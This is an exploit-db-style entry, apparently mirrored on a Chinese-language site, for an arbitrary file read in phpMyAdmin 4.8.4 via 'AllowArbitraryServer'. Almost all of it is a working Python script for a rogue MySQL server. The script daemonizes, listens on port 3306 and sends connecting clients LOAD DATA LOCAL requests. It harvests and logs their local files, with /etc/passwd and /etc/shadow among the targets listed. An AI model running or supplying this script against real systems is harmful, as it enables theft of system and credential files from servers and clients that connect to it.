phpMyAdmin 4.8.4 – ‘AllowArbitraryServer’ Arbitrary File Read

  • 作者: VulnSpy
    日期: 2018-12-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46041/
  • #!/usr/bin/env python
    #coding: utf8
    
    
    import socket
    import asyncore
    import asynchat
    import struct
    import random
    import logging
    import logging.handlers
    
    
    
    PORT = 3306
    
    log = logging.getLogger(__name__)
    
    log.setLevel(logging.DEBUG)
    tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
    tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
    log.addHandler(
    tmp_format
    )
    
    filelist = (
    #r'c:\boot.ini',
    r'c:\windows\win.ini',
    #r'c:\windows\system32\drivers\etc\hosts',
    #'/etc/passwd',
    #'/etc/shadow',
    )
    
    
    #================================================
    #=======No need to change after this lines=======
    #================================================
    
    __author__ = 'Gifts'
    
    def daemonize():
    import os, warnings
    if os.name != 'posix':
    warnings.warn('Cant create daemon on non-posix system')
    return
    
    if os.fork(): os._exit(0)
    os.setsid()
    if os.fork(): os._exit(0)
    os.umask(0o022)
    null=os.open('/dev/null', os.O_RDWR)
    for i in xrange(3):
    try:
    os.dup2(null, i)
    except OSError as e:
    if e.errno != 9: raise
    os.close(null)
    
    
    class LastPacket(Exception):
    pass
    
    
    class OutOfOrder(Exception):
    pass
    
    
    class mysql_packet(object):
    packet_header = struct.Struct('<Hbb')
    packet_header_long = struct.Struct('<Hbbb')
    def __init__(self, packet_type, payload):
    if isinstance(packet_type, mysql_packet):
    self.packet_num = packet_type.packet_num + 1
    else:
    self.packet_num = packet_type
    self.payload = payload
    
    def __str__(self):
    payload_len = len(self.payload)
    if payload_len < 65536:
    header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
    else:
    header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
    
    result = "{0}{1}".format(
    header,
    self.payload
    )
    return result
    
    def __repr__(self):
    return repr(str(self))
    
    @staticmethod
    def parse(raw_data):
    packet_num = ord(raw_data[0])
    payload = raw_data[1:]
    
    return mysql_packet(packet_num, payload)
    
    
    class http_request_handler(asynchat.async_chat):
    
    def __init__(self, addr):
    asynchat.async_chat.__init__(self, sock=addr[0])
    self.addr = addr[1]
    self.ibuffer = []
    self.set_terminator(3)
    self.state = 'LEN'
    self.sub_state = 'Auth'
    self.logined = False
    self.push(
    mysql_packet(
    0,
    "".join((
    '\x0a',# Protocol
    '3.0.0-Evil_Mysql_Server' + '\0',# Version
    #'5.1.66-0+squeeze1' + '\0',
    '\x36\x00\x00\x00',# Thread ID
    'evilsalt' + '\0',# Salt
    '\xdf\xf7',# Capabilities
    '\x08',# Collation
    '\x02\x00',# Server Status
    '\0' * 13,# Unknown
    'evil2222' + '\0',
    ))
    )
    )
    
    self.order = 1
    self.states = ['LOGIN', 'CAPS', 'ANY']
    
    def push(self, data):
    log.debug('Pushed: %r', data)
    data = str(data)
    asynchat.async_chat.push(self, data)
    
    def collect_incoming_data(self, data):
    log.debug('Data recved: %r', data)
    self.ibuffer.append(data)
    
    def found_terminator(self):
    data = "".join(self.ibuffer)
    self.ibuffer = []
    
    if self.state == 'LEN':
    len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
    if len_bytes < 65536:
    self.set_terminator(len_bytes)
    self.state = 'Data'
    else:
    self.state = 'MoreLength'
    elif self.state == 'MoreLength':
    if data[0] != '\0':
    self.push(None)
    self.close_when_done()
    else:
    self.state = 'Data'
    elif self.state == 'Data':
    packet = mysql_packet.parse(data)
    try:
    if self.order != packet.packet_num:
    raise OutOfOrder()
    else:
    # Fix ?
    self.order = packet.packet_num + 2
    if packet.packet_num == 0:
    if packet.payload[0] == '\x03':
    log.info('Query')
    
    filename = random.choice(filelist)
    PACKET = mysql_packet(
    packet,
    '\xFB{0}'.format(filename)
    )
    self.set_terminator(3)
    self.state = 'LEN'
    self.sub_state = 'File'
    self.push(PACKET)
    elif packet.payload[0] == '\x1b':
    log.info('SelectDB')
    self.push(mysql_packet(
    packet,
    '\xfe\x00\x00\x02\x00'
    ))
    raise LastPacket()
    elif packet.payload[0] in '\x02':
    self.push(mysql_packet(
    packet, '\0\0\0\x02\0\0\0'
    ))
    raise LastPacket()
    elif packet.payload == '\x00\x01':
    self.push(None)
    self.close_when_done()
    else:
    raise ValueError()
    else:
    if self.sub_state == 'File':
    log.info('-- result')
    log.info('Result: %r', data)
    
    if len(data) == 1:
    self.push(
    mysql_packet(packet, '\0\0\0\x02\0\0\0')
    )
    raise LastPacket()
    else:
    self.set_terminator(3)
    self.state = 'LEN'
    self.order = packet.packet_num + 1
    
    elif self.sub_state == 'Auth':
    self.push(mysql_packet(
    packet, '\0\0\0\x02\0\0\0'
    ))
    raise LastPacket()
    else:
    log.info('-- else')
    raise ValueError('Unknown packet')
    except LastPacket:
    log.info('Last packet')
    self.state = 'LEN'
    self.sub_state = None
    self.order = 0
    self.set_terminator(3)
    except OutOfOrder:
    log.warning('Out of order')
    self.push(None)
    self.close_when_done()
    else:
    log.error('Unknown state')
    self.push('None')
    self.close_when_done()
    
    
    class mysql_listener(asyncore.dispatcher):
    def __init__(self, sock=None):
    asyncore.dispatcher.__init__(self, sock)
    
    if not sock:
    self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
    self.set_reuse_addr()
    try:
    self.bind(('', PORT))
    except socket.error:
    exit()
    
    self.listen(5)
    
    def handle_accept(self):
    pair = self.accept()
    
    if pair is not None:
    log.info('Conn from: %r', pair[1])
    tmp = http_request_handler(pair)
    
    
    z = mysql_listener()
    daemonize()
    asyncore.loop()